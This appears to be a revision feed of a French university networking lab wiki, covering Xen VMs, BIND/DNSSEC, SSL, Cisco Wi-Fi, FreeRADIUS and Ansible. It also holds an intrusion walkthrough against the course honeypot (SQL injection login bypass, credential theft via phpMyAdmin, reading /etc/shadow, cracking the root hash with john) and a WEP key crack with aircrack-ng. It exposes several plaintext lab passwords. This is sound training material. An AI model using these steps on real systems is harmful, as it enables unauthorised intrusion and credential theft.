Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54978</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54978"/>
				<updated>2020-12-18T18:46:35Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
